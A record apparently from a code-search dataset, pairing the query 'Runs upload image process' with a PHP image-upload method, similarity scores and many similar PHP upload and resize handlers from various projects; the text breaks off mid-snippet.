$this->publishConfig();\n $this->publishClassStub();\n $this->generateAndStoreKey();\n\n $this->info('Use the details below for your \"Lead delivery options\" in Google Ads.');\n $this->info('Webhook URL: ' . route('GoogleAdsLeadExtensionController@index'));\n $this->info('Key: ' . $this->generated_key);\n }", "public function handle()\n {\n $opts = $this->options();\n $args = $this->arguments();\n #print_r($opts);\n #print_r($args);\n\n # Redundant as argument validation handled by Laravel\n #\n if (!isset($args['destination'])) {\n printf(\"Usage: php artisan %s\\n\", $this->signature);\n exit(1);\n }\n\n # Default to normal message type\n #\n if (!isset($opts['type'])) {\n $opts['type'] = 'normal';\n }\n\n $uac = new UserApiController();\n\n if ($opts['type'] == 'normal') {\n if (!isset($opts['message'])) {\n printf(\"Usage: php artisan %s\\n\\n\", $this->signature);\n printf(\"ERROR: Message must be specified for type 'normal'\\n\");\n exit(1);\n }\n $result = $uac->sendSms(\n $args['destination'],\n $opts['message'],\n $opts['route']\n );\n }\n else if ($opts['type'] == 'otp') {\n $result = $uac->sendVerificationSms(\n $args['destination'],\n '<code>',\n '<name>',\n $opts['route'],\n '<appName>'\n );\n }\n\n if ($result === true) {\n printf(\"INFO: SMS message to %s sent successfully (%s)\\n\",\n $args['destination'], $opts['type']);\n }\n else {\n printf(\"INFO: SMS message to %s failed to send (%s)\\n\", \n $args['destination'], $opts['type']);\n printf(\"ERROR: %s\\n\", $result);\n }\n\n return;\n }" ]
[ "0.6469962", "0.6463639", "0.64271367", "0.635053", "0.63190264", "0.62747604", "0.6261977", "0.6261908", "0.6235821", "0.62248456", "0.62217945", "0.6214421", "0.6193356", "0.61916095", "0.6183878", "0.6177804", "0.61763877", "0.6172579", "0.61497146", "0.6148907", "0.61484164", "0.6146793", "0.6139144", "0.61347336", "0.6131662", "0.61164206", "0.61144686", "0.61109483", "0.61082935", "0.6105106", "0.6103338", "0.6102162", "0.61020017", "0.60962653", "0.6095482", "0.6091584", "0.60885274", "0.6083864", "0.6082142", "0.6077832", "0.60766655", "0.607472", "0.60739267", "0.607275", "0.60699606", "0.6069931", "0.6068753", "0.6067665", "0.6061175", "0.60599935", "0.6059836", "0.605693", "0.60499364", "0.60418284", "0.6039709", "0.6031963", "0.6031549", "0.6027515", "0.60255647", "0.60208166", "0.6018581", "0.60179937", "0.6014668", "0.60145515", "0.60141796", "0.6011772", "0.6008498", "0.6007883", "0.60072047", "0.6006732", "0.60039204", "0.6001778", "0.59996396", "0.5999325", "0.5992452", "0.5987503", "0.5987503", "0.5987477", "0.5986996", "0.59853584", "0.5983282", "0.59804505", "0.5976757", "0.5976542", "0.5973796", "0.5969228", "0.5968169", "0.59655035", "0.59642595", "0.59635514", "0.59619296", "0.5960217", "0.5955025", "0.5954439", "0.59528315", "0.59513766", "0.5947869", "0.59456027", "0.5945575", "0.5945031" ]
0.6000803
72
Runs upload image process
public function uploadImage() { if (is_null($this->image)) { return; } // move image from temp directory to destination one $this->image->move( $this->getUploadRootDir(), $this->image->getClientOriginalName() ); $this->path = $this->image->getClientOriginalName(); $this->image = null; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "abstract protected function doUpload();", "public function execute(){\n\n if(!(in_array($_FILES['file']['type'], \\Vegans\\Controllers\\Images\\Consts::FILETYPES))){\n throw new Error('ERROR during passing parameters');\n }\n\n $time = strtotime(\"now\");\n $fileName = $this->_storeImages($_FILES,$time);\n\n if(strlen($fileName) > 0){\n $vars = [\n 'filename' => $fileName,\n 'path' => \\Vegans\\Controllers\\Images\\Consts::IMAGEPATH . $fileName,\n 'created_at' => $time\n ];\n\n $id = $this->_saveData($vars);\n }\n\n echo json_encode(array_merge(['id' => $id], $vars));\n }", "public function photoupload()\n\t{\n\t\ttry {\n\t\t\t\n\t\t\t$uploader = new fUpload();\n\t\t\t$uploader->setMIMETypes(\n\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'image/gif',\n\t\t\t\t\t\t\t'image/jpeg',\n\t\t\t\t\t\t\t'image/pjpeg',\n\t\t\t\t\t\t\t'image/png'\n\t\t\t\t\t),\n\t\t\t\t\ts('upload_no_image')\n\t\t\t);\n\t\t\t$uploader->setMaxSize('5MB');\n\t\t\t\n\t\t\tif(($error = $uploader->validate('photo', TRUE)) !== null)\n\t\t\t{\n\t\t\t\t$func = 'parent.join.photoUploadError(\\''.$error.'\\');';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// move the uploaded file in a temp folder\n\t\t\t\t$image = $uploader->move(ROOT_DIR . 'tmp/', 'photo');\n\t\t\t\t\t\n\t\t\t\t// generate an unique name for the photo\n\t\t\t\t$name = uniqid() . '.' . strtolower($image->getExtension());\n\t\t\t\t\t\n\t\t\t\t$image->rename($name, true);\n\t\t\t\t\n\t\t\t\t$image = new fImage(ROOT_DIR . 'tmp/' . $name);\n\t\t\t\t\t\n\t\t\t\t$image->resize(800, 0);\n\t\t\t\t$image->saveChanges();\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t$func = 'parent.join.readyUpload(\\''.$name.'\\');';\n\t\t\t}\n\t\t\t\n\t\t} catch (Exception $e) {\n\t\t\t$func = 'parent.join.photoUploadError(\\''.s('error_image').'\\');';\n\t\t}\n\t\t\n\t\techo '<html>\n<head><title>Upload</title></head><body onload=\"'.$func.'\"></body>\n</html>';\n\t\texit();\n\t}", "public function processImages()\n \t{\n $this->save();\n if (! $this->errorMessage)\n \t\t parent::uploadImages('image', 'RecipeImage', \"recipeID\");\n \n \t}", "public function upload();", "function do_upload()\r\n\t{\r\n\t\tif (isset($_FILES[$this->post_name]))\r\n\t\t{\r\n\t\t\t$post \t\t= $_FILES[$this->post_name];\r\n\t\t\t$tmp_file\t= ( !$this->isArrayPostName ) ? $post['tmp_name'] : $post['tmp_name'][$this->arrayPostName];\r\n\r\n\t\t\tif ( is_uploaded_file( $tmp_file ) )\r\n\t\t\t{\r\n\t\t\t\tif ($this->filteringExtension($post))\r\n\t\t\t\t{\r\n\t\t\t\t\tif ($this->checkFileSize())\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$file_name = $this->getFileNameUploaded();\r\n\t\t\t\t\t\t$dest = $this->folder.$file_name;\r\n\t\t\t\t\t\t$upload = move_uploaded_file($tmp_file, $dest);\r\n\t\t\t\t\t\tif ($upload)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t@chmod($dest, $this->chmod);\r\n\t\t\t\t\t\t\t$this->file_name_sukses_uploaded = $file_name;\r\n\t\t\t\t\t\t\t$cfg_resize = array('source_image'=> $dest);\r\n\t\t\t\t\t\t\tif($this->is_resize)\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t$cfg_resize = array(\r\n\t\t\t\t\t\t\t\t\t'source_image'=> $dest,\r\n\t\t\t\t\t\t\t\t\t'width'\t\t\t\t=> $this->rez_width,\r\n\t\t\t\t\t\t\t\t\t'height'\t\t\t=> $this->rez_height\r\n\t\t\t\t\t\t\t\t);\r\n\t\t\t\t\t\t\t\t// pr(json_encode($cfg_resize, JSON_PRETTY_PRINT), __FILE__.':'.__LINE__);\r\n\t\t\t\t\t\t\t\t_class('image_lib', $cfg_resize)->resize();\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tif($this->is_watermark)\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t$this->watermark_param['source_image'] = $dest;\r\n\t\t\t\t\t\t\t\t// pr(json_encode($this->watermark_param, JSON_PRETTY_PRINT), __FILE__.':'.__LINE__);\r\n\t\t\t\t\t\t\t\t_class('image_lib', $this->watermark_param)->watermark();\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tif($this->is_thumbnail)\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\tif(substr($this->thumb_prefix, -1) == '/' && !is_dir($this->folder.$this->thumb_prefix))\r\n\t\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t\t@mkdir($this->folder.$this->thumb_prefix, 0777);\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t$config = array_merge($cfg_resize, $this->thumb_param);\r\n\t\t\t\t\t\t\t\t$config['create_thumb'] = FALSE ;\r\n\t\t\t\t\t\t\t\t$config['new_image'] = $this->folder.$this->thumb_prefix.$file_name;\r\n\t\t\t\t\t\t\t\t// pr(json_encode($config, JSON_PRETTY_PRINT), __FILE__.':'.__LINE__);\r\n\t\t\t\t\t\t\t\t_class('image_lib', $config)->resize();\r\n\t\t\t\t\t\t\t\t_class('images')->move_upload($this->folder.$this->thumb_prefix.$file_name);\r\n\t\t\t\t\t\t\t\t@chmod($this->folder.$this->thumb_prefix.$file_name, $this->chmod);\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t_class('images')->move_upload($dest);\r\n\t\t\t\t\t\t\treturn true;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\telse $this->error_code .= 'move_upload_file_failed';\r\n\t\t\t\t\t} else $this->error_code .= 'file_size_max_exceeded';\r\n\t\t\t\t} else $this->error_code .= 'file_type_unallowed';\r\n\t\t\t}// end if is_uploaded_file\r\n#\t\t\telse $this->error_code .= 'file_upload_from_post_failed';\r\n\t\t}// end if isset\r\n\t\telse {\r\n#\t\t\t$this->error_code .= 'file_post_un_uploaded';\r\n\t\t\treturn true;\r\n\t\t}\r\n\t\treturn false;\r\n\t}", "public function upload(): void\n {\n // check if we have an old image\n if ($this->oldFileName !== null) {\n $this->removeOldFile();\n }\n\n if (!$this->hasFile()) {\n return;\n }\n\n $this->writeFileToDisk();\n\n $this->file = null;\n }", "protected function processImage() {}", "public function upload_postAction() {\n\t\t$ret = Common::upload('img', 'bestj');\n\t\t$imgId = $this->getPost('imgId');\n\t\t$this->assign('code' , $ret['data']);\n\t\t$this->assign('msg' , $ret['msg']);\n\t\t$this->assign('data', $ret['data']);\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}", "public function upload_postAction() {\n\t\t$ret = Common::upload('img', 'Recsite');\n\t\t$imgId = $this->getPost('imgId');\n\t\t$this->assign('code' , $ret['data']);\n\t\t$this->assign('msg' , $ret['msg']);\n\t\t$this->assign('data', $ret['data']);\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n }", "public function uploadImage($image){\n\t\t\n\t\t$ruta = \"../public/uploads/\";\n\t\tini_set(\"max_execution_time\",0);\n\t\t$handle->forbidden \t= array('application/*');\n\t\t$handle \t\t\t= new Upload($image);\n\t\t\n\t\tif( $handle->uploaded ){\n\t\t\t\n\t\t\t$path1 = $ruta;\t\n\t\t\tif (!file_exists(\"$path1\")){\n\t\t\t\tmkdir($path1,0777);\n\t\t\t}\n\t\t\t//original <<<<<---------------------------- VER SI PUEDO BORRAR\n\t\t\t$path_ori1 = $ruta.'original/';\n\t\t\tif (!file_exists(\"$path_ori1\")){\n\t\t\t\tmkdir($path_ori1,0777);\n\t\t\t}\n\t\t\t$imagename =\t$handle->Process($path_ori1);\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t// big-muro (height: 184px; width: 256px;)\n\t\t\t$path_big = $ruta.'big-post/';\n\t\t\t$handle->image_resize \t= true;\n\t\t\t$handle->image_ratio = true;\n \t\t \t$handle->jpeg_quality \t\t\t= 100;\n \t\t \tlist($org_width, $org_height) = getimagesize($image['tmp_name']);\n \t\t \t$handle->image_ratio_crop\t = true;\n\t\t\t$handle->image_resize = true;\n\t\t\t$handle->image_ratio = true;\n \t\t \t$handle->jpeg_quality \t\t\t= 100;\n\t\t\t$handle->image_x = 256;\n\t\t\t$handle->image_y = 184;\n\t\t\tif (!file_exists(\"$path_tapa\")){\n\t\t\t\tmkdir($path_tapa,0777);\n\t\t\t}\n\t\t\t$imagename = $handle->Process($path_big);\n\t\t\t\n\t\t\t// ampliada (width =\"758\" height =\"544\") \n\t\t\t$path_ampliada = $ruta.'ampliada/';\n\t\t\t$handle->image_resize \t= true;\n\t\t\t$handle->image_ratio = true;\n \t\t \t$handle->jpeg_quality \t\t\t= 100;\n \t\t \tlist($org_width, $org_height) = getimagesize($image['tmp_name']);\n \t\t \t$handle->image_ratio_crop\t = true;\n\t\t\t$handle->image_resize = true;\n\t\t\t$handle->image_ratio = true;\n \t\t \t$handle->jpeg_quality \t\t\t= 100;\n\t\t\t$handle->image_x = 658;\n\t\t\t$handle->image_y = 444;\n\t\t\tif (!file_exists(\"$path_tapa\")){\n\t\t\t\tmkdir($path_tapa,0777);\n\t\t\t}\n\t\t\t$imagename = $handle->Process($path_ampliada);\t\t\t\t\t\n\t\t\t\n\t\t\t$handle->Clean();\n\t\t\t\n\t\t}\n\t\t\n\t\treturn $imagename; \n\t\t\n\t}", "public function upload_postAction() {\r\n\t\t$ret = Common::upload('img', 'ad');\r\n\t\t$imgId = $this->getPost('imgId');\r\n\t\t$this->assign('code' , $ret['data']);\r\n\t\t$this->assign('msg' , $ret['msg']);\r\n\t\t$this->assign('data', $ret['data']);\r\n\t\t$this->assign('imgId', $imgId);\r\n\t\t//create webp image\r\n\t\tif ($ret['code'] == 0) {\r\n\t\t\t$attachPath = Common::getConfig('siteConfig', 'attachPath');\r\n\t\t\t$file = realpath($attachPath.$ret['data']);\r\n\t\t\timage2webp($file, $file.'.webp');\r\n\t\t}\r\n\t\t$this->getView()->display('common/upload.phtml');\r\n\t\texit;\r\n }", "function upload()\n\t{\t\t\n\t\t$rfc1867 = function_exists('apc_fetch') && ini_get('apc.rfc1867');\n\n\t\tif(!function_exists('json_encode')) \n\t\t{\n\t\t\tdie('{\"error\" : \"Image upload host does not have the required dependicies (json_encode/decode)\"}');\n\t\t}\n\n\t\t$id = $_POST['APC_UPLOAD_PROGRESS'];\n\t\tif(empty($id)) \n\t\t{\n\t\t\t$id = $_GET['id'];\n\t\t}\n\n\t\tif($_SERVER['REQUEST_METHOD']=='POST') \n\t\t{ \n\t\t\t// Upload is complete\n\t\t\tif(empty($id) || !is_numeric($id)) \n\t\t\t{\n\t\t\t\t$this->_nicupload_error('Invalid Upload ID');\n\t\t\t}\n\t\t\tif(!is_dir($this->nicupload_path) || !is_writable($this->nicupload_path)) \n\t\t\t{\n\t\t\t\t$this->_nicupload_error('Upload directory '.$this->nicupload_path.' must exist and have write permissions on the server');\n\t\t\t}\n\t\t\n\t\t\t$file = $_FILES['nicImage'];\n\t\t\t$image = $file['tmp_name'];\n\t\t\n\t\t\t$max_upload_size = $this->_ini_max_upload_size();\n\t\t\tif(!$file) \n\t\t\t{\n\t\t\t\t$this->_nicupload_error('Must be less than '.$this->_bytes_to_readable($max_upload_size));\n\t\t\t}\n\t\t\n\t\t\t$ext = strtolower(substr(strrchr($file['name'], '.'), 1));\n\t\t\t@$size = getimagesize($image);\n\t\t\tif(!$size || !in_array($ext, $this->nicupload_allowed_extensions)) \n\t\t\t{\n\t\t\t\t$this->_nicupload_error('Invalid image file, must be a valid image less than '.$this->_bytes_to_readable($max_upload_size));\n\t\t\t}\n\t\t\n\t\t\t$filename = $id.'.'.$ext;\n\t\t\t$path = $this->nicupload_path.'/'.$filename;\n\t\t\n\t\t\tif(!move_uploaded_file($image, $path)) \n\t\t\t{\n\t\t\t\t$this->_nicupload_error('Server error, failed to move file');\n\t\t\t}\n\t\t\n\t\t\tif($rfc1867) \n\t\t\t{\n\t\t\t\t$status = apc_fetch('upload_'.$id);\n\t\t\t}\n\t\t\tif(!$status)\n\t\t\t{\n\t\t\t\t$status = array();\n\t\t\t}\n\t\t\t$status['done'] = 1;\n\t\t\t$status['width'] = $size[0];\n\t\t\t$status['url'] = $this->_nicupload_file_uri($filename);\n\t\t\n\t\t\tif($rfc1867) \n\t\t\t{\n\t\t\t\tapc_store('upload_'.$id, $status);\n\t\t\t}\n\n\t\t\t$this->_nicupload_output($status, $rfc1867);\n\t\t\texit;\n\t\t} \n\t\telse if(isset($_GET['check'])) \n\t\t{ \n\t\t\t// Upload progress check\n\t\t\t$check = $_GET['check'];\n\t\t\tif(!is_numeric($check)) \n\t\t\t{\n\t\t\t\t$this->_nicupload_error('Invalid upload progress id');\n\t\t\t}\n\t\t\n\t\t\tif($rfc1867) \n\t\t\t{\n\t\t\t\t$status = apc_fetch('upload_'.$check);\n\t\t\t\t\n\t\t\t\tif($status['total'] > 500000 && $status['current']/$status['total'] < 0.9 ) \n\t\t\t\t{ \n\t\t\t\t\t// Large file and we are < 90% complete\n\t\t\t\t\t$status['interval'] = 3000;\n\t\t\t\t} \n\t\t\t\telse if($status['total'] > 200000 && $status['current']/$status['total'] < 0.8 ) \n\t\t\t\t{ \n\t\t\t\t\t// Is this a largeish file and we are < 80% complete\n\t\t\t\t\t$status['interval'] = 2000;\n\t\t\t\t} \n\t\t\t\telse \n\t\t\t\t{\n\t\t\t\t\t$status['interval'] = 1000;\n\t\t\t\t}\n\t\t\t\t$this->_nicupload_output($status);\n\t\t\t} \n\t\t\telse \n\t\t\t{\n\t\t\t\t$status = array();\n\t\t\t\t$status['noprogress'] = true;\n\t\t\t\tforeach($this->nicupload_allowed_extensions as $e) \n\t\t\t\t{\n\t\t\t\t if(file_exists($this->nicupload_path.'/'.$check.'.'.$e)) \n\t\t\t\t\t{\n\t\t\t\t $ext = $e;\n\t\t\t\t break;\n\t\t\t\t }\n\t\t\t\t}\n\t\t\t\tif($ext) \n\t\t\t\t{\n\t\t\t\t $status['url'] = $this->_nicupload_file_uri($check.'.'.$ext);\n\t\t\t\t}\n\t\t\t\t$this->_nicupload_output($status);\n\t\t\t}\n\t\t}\n\t}", "public function upload_postAction() {\n\t\t$ret = Common::upload('img', 'qualification');\n\t\t$imgId = $this->getPost('imgId');\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->assign('code', $ret['data']);\n\t\t$this->assign('msg', $ret['msg']);\n\t\t$this->assign('data', $ret['data']);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}", "public function upload_postAction() {\n $ret = Common::upload('img', 'bgimg');\n $imgId = $this->getPost('imgId');\n $this->assign('code', $ret['data']);\n $this->assign('msg', $ret['msg']);\n $this->assign('data', $ret['data']);\n $this->assign('imgId', $imgId);\n $this->getView()\n ->display('common/upload.phtml');\n exit();\n }", "public function doUpload()\n\t{\n\t\t//use the multup library to perform the upload\n\t\t$result = Multup::open('file', 'image|max:' . $this->sizeLimit * 1000, $this->location, $this->naming)\n\t\t\t->sizes($this->sizes)\n\t\t\t->set_length($this->length)\n\t\t\t->upload();\n\n\t\treturn $result[0];\n\t}", "public function upload_postAction() {\n\t\t$ret = Common::upload('img', 'ad');\n\t\t$imgId = $this->getPost('imgId');\n\t\t$this->assign('code' , $ret['data']);\n\t\t$this->assign('msg' , $ret['msg']);\n\t\t$this->assign('data', $ret['data']);\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n }", "public function upload()\n\t{\n\t}", "public function upload()\n {\n // the file property can be empty if the field is not required\n if (null === $this->getFile()) {\n return;\n }\n\n // we use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and target filename as params\n $this->getFile()->move(\n Image::SERVER_PATH_TO_IMAGE_FOLDER,\n $this->path\n );\n\n // set the path property to the filename where you've saved the file\n $this->filename = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->setFile(null);\n }", "public function uploadAction() {\n\t\t$imgId = $this->getInput('imgId');\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}", "public function uploadAction() {\n\t\t$imgId = $this->getInput('imgId');\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}", "public function uploadAction() {\n\t\t$imgId = $this->getInput('imgId');\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}", "public function uploadAction() {\n\t\t$imgId = $this->getInput('imgId');\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}", "public function uploadAction() {\n\t\t$imgId = $this->getInput('imgId');\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}", "public function uploadAction() {\n\t\t$imgId = $this->getInput('imgId');\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}", "public function upload()\n {\n if (null === $this->getImg()) {\n return;\n }\n\n // we use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and target filename as params\n $this->getImg()->move(\n self::SERVER_PATH_TO_PRESS_IMAGE_FOLDER,\n $this->getImg()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->imageUrl = $this->getImg()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->setImg(null);\n }", "public function uploadAction() {\r\n\t\t$imgId = $this->getInput('imgId');\r\n\t\t$this->assign('imgId', $imgId);\r\n\t\t$this->getView()->display('common/upload.phtml');\r\n\t\texit;\r\n\t}", "public function uploadAction() {\r\n\t\t$imgId = $this->getInput('imgId');\r\n\t\t$this->assign('imgId', $imgId);\r\n\t\t$this->getView()->display('common/upload.phtml');\r\n\t\texit;\r\n\t}", "public function run()\r\r\n\t{\r\r\n\t\t// Make sure there are no attempts to hack the file system\r\r\n\t\tif (preg_match('@^\\.+@i', $this->strImage) || preg_match('@\\.+/@i', $this->strImage) || preg_match('@(://)+@i', $this->strImage))\r\r\n\t\t{\r\r\n\t\t\theader('HTTP/1.0 404 Not Found');\r\r\n\t\t\tdie('Invalid file name');\r\r\n\t\t}\r\r\n\r\r\n\t\t// Limit image processing to the tl_files directory\r\r\n\t\tif (!preg_match('@^' . preg_quote($GLOBALS['TL_CONFIG']['uploadPath'], '@') . '@i', $this->strImage))\r\r\n\t\t{\r\r\n\t\t\theader('HTTP/1.0 404 Not Found');\r\r\n\t\t\tdie('Invalid path');\r\r\n\t\t}\r\r\n\r\r\n\t\t$strImage = $this->getImage($this->strImage, $this->Input->get('width'), $this->Input->get('height'));\r\r\n\t\t$arrImage = getimagesize($strImage);\r\r\n\r\r\n\t\theader('Content-type: ' . $arrImage['mime']);\r\r\n\t\treadfile(TL_ROOT . '/' . $strImage);\r\r\n\t}", "function m_uploadImage()\n\t{\n\t\t$fileUpload = new FileUpload();\n\t\t$name=$this->request['img'];\n\t\tif($this->libFunc->checkImageUpload(\"image\"))\n\t\t{\n\t\t\t\t$fileUpload->source = $_FILES[\"image\"][\"tmp_name\"];\n\t\t\t\t$fileUpload->target = $this->imagePath.\"giftwrap/\".$_FILES[\"image\"][\"name\"];\n\t\t\t\t$newName1 = $fileUpload->upload();\n\t\t\t\t$this->obDb->query=\"UPDATE \".GIFTWRAPS.\" set\n\t\t\t\t $name='$newName1' where iGiftwrapid_PK='\".$this->request['id'].\"'\";\n\t\t\t\t$this->obDb->updateQuery();\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->libFunc->m_mosRedirect(SITE_URL.\"sales/adminindex.php?action=promotions.giftwrap.uploadForm&msg=2&img=\".$this->request['img'].\"&id=\".$this->request['id']);\n\t\t}\n\t\t$this->libFunc->m_mosRedirect(SITE_URL.\"sales/adminindex.php?action=promotions.giftwrap.uploadForm&msg=1&img=\".$this->request['img'].\"&id=\".$this->request['id']);\n\t}", "public function upload_postAction() {\n\t\t$ret = Common::upload('img', 'gou_brand');\n\t\t$imgId = $this->getPost('imgId');\n\t\t$this->assign('code' , $ret['data']);\n\t\t$this->assign('msg' , $ret['msg']);\n\t\t$this->assign('data', $ret['data']);\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}", "public function uploadImage()\n {\n if (null === $this->fileimage) {\n return;\n }\n\n $upload = new Upload();\n $this->image = $upload->createName(\n $this->fileimage->getClientOriginalName(),\n $this->getUploadRootDir().'/',\n array('tmp/','miniature/')\n );\n\n $imagine = new Imagine();\n\n /* Tmp */\n $size = new Box(1920,1080);\n $imagine->open($this->fileimage)\n ->thumbnail($size, 'inset')\n ->save($this->getUploadRootDir().'tmp/'.$this->image);\n\n /* Miniature */\n $size = new Box(300,300);\n $imagine->open($this->fileimage)\n ->thumbnail($size, 'outbound')\n ->save($this->getUploadRootDir().'miniature/'.$this->image);\n\n }", "public function upload_postAction() {\n\t\t$ret = Common::upload('img', 'Goods');\n\t\t$imgId = $this->getPost('imgId');\n\t\t$this->assign('code' , $ret['data']);\n\t\t$this->assign('msg' , $ret['msg']);\n\t\t$this->assign('data', $ret['data']);\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n }", "public function upload()\n {\n if (null === $this->image) {\n return;\n }\n\n // we use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the target filename to move to\n $this->file->move($this->getUploadRootDir(), $this->image->getClientOriginalName());\n\n // set the path property to the filename where you'ved saved the file\n $this->path = $this->image->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }", "public function upload_postAction() {\n\t\t$ret = Common::upload('img', 'fanfan_topic');\n\t\t$imgId = $this->getPost('imgId');\n\t\t$this->assign('code' , $ret['data']);\n\t\t$this->assign('msg' , $ret['msg']);\n\t\t$this->assign('data', $ret['data']);\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}", "public function uploadAction() {\n $imgId = $this->getInput('imgId');\n $this->assign('imgId', $imgId);\n $this->getView()\n ->display('common/upload.phtml');\n }", "public function upload()\n {\n if(!Csrf::checkToken($this->_request->getInput('_CSRF')))\n {\n $response = [\n 'status' => 'error',\n 'message' => 'csrf'\n ];\n return $this->_response->returnJson($response);\n }\n\n $file = $this->_request->getUploadedFile('img');\n $uploader = new ImageUpload(new Imagick($file['tmp_name']));\n $uploadResult = $uploader->upload($file);\n\n return $this->_response->returnJson($uploadResult);\n }", "public function uploadImage(){\n\n $fileExt = explode('.', $this->fileName);\n $fileActualExt = strtolower(end($fileExt));\n $allowedExt = array('jpg', 'jpeg');\n\n if($this->fileError !== 0 && $this->fileSize > 8000 && !in_array($fileActualExt, $allowedExt)){\n return false;\n }\n $fileId = uniqid('', false).'.'.$fileActualExt;\n $fileDestination = '../api/image_entity/'.$fileId;\n\n $transfertDone = move_uploaded_file($this->fileTmp, $fileDestination);\n\n if($transfertDone){\n $app = App::getInstance();\n $systemManager = $app->getManager('System');\n $imageId = $systemManager->addImage($fileId);\n\n return $imageId;\n }\n\n }", "abstract public function process($image, $actions, $dir, $file);", "public function uploadImage()\r\n {\r\n /*\r\n * Response codes\r\n * 000 - Нет ошибок\r\n * 001 - Нет данных\r\n * 002 - Ошибка получения параметров файла\r\n * 003 - Ошибка получения пути файла\r\n * 004 - Ошибка перемещения файла\r\n * 005 - Требования не соблюдены\r\n * 006 - Нет папки салона\r\n */\r\n if (isset($_POST) &&\r\n isset($_FILES) &&\r\n array_key_exists('upload', $_FILES) &&\r\n count($_FILES['upload']) > 0 &&\r\n array_key_exists('slug', $_POST) &&\r\n array_key_exists('img_name', $_POST) &&\r\n array_key_exists('type', $_POST)\r\n ) {\r\n $type = $_POST['type'];\r\n if ($this->authentication->has_permission($type . '_upload')) {\r\n $img_name = $_POST['img_name'];\r\n $tmpFilePath = $_FILES['upload']['tmp_name'][0];\r\n $tmpFileType = $_FILES['upload']['type'][0];\r\n $tmpFileExtension = pathinfo($_FILES['upload']['name'][0], PATHINFO_EXTENSION);\r\n $tmpFileSize = $_FILES['upload']['size'][0];\r\n $tmpImageInfo = getimagesize($_FILES['upload']['tmp_name'][0]);\r\n if (array_key_exists('img_slug', $_POST)) {\r\n $fileParams = $this->FieldsModel->getFile($_POST['img_slug'], $_POST['img_slug']);\r\n } else {\r\n $fileParams = $this->FieldsModel->getFile($type, $img_name);\r\n }\r\n if ($fileParams) {\r\n if (\r\n $tmpFileType != $fileParams['mime'] ||\r\n $tmpImageInfo['mime'] != $fileParams['mime'] ||\r\n $tmpFileExtension != $fileParams['ext'] ||\r\n $tmpFileSize > $fileParams['max_size'] ||\r\n $tmpImageInfo[0] > $fileParams['max_width'] ||\r\n $tmpImageInfo[0] < $fileParams['min_width'] ||\r\n $tmpImageInfo[1] > $fileParams['max_height'] ||\r\n $tmpImageInfo[1] < $fileParams['min_height']\r\n ) {\r\n if ($tmpFileExtension === 'svg') {\r\n //Do nothing\r\n } else {\r\n echo json_encode(array('status' => 'fail', 'message' => 'Изображение не удовлетворяет требованиям.', 'code' => '005', 'fileparams' => $fileParams));\r\n return;\r\n }\r\n }\r\n // Make sure we have a file path\r\n if ($tmpFilePath != '') {\r\n // Setup new file path\r\n if (!file_exists('./media/' . $_POST['type'] . '/' . $_POST['slug'] . '/')) {\r\n mkdir('./media/' . $_POST['type'] . '/' . $_POST['slug']);\r\n //echo json_encode(array('status' => 'fail', 'message' => 'Салон не сконфигурирован. Обратитесь к поставщику услуг.', 'code' => '006'));\r\n //return;\r\n }\r\n $newFilePath = './media/' . $_POST['type'] . '/' . $_POST['slug'] . '/' . $_POST['img_name'] . '.' . $tmpFileExtension;\r\n // Upload the file into the temp dir\r\n if (move_uploaded_file($tmpFilePath, $newFilePath)) {\r\n // Create path to update image in frontend\r\n $path = base_url() . 'media/' . $_POST['type'] . '/' . $_POST['slug'] . '/' . $_POST['img_name'] . '.' . $tmpFileExtension;\r\n echo json_encode(array('status' => 'ok', 'message' => 'Изображение загружено.', 'code' => '000', 'path' => $path));\r\n } else {\r\n echo json_encode(array('status' => 'fail', 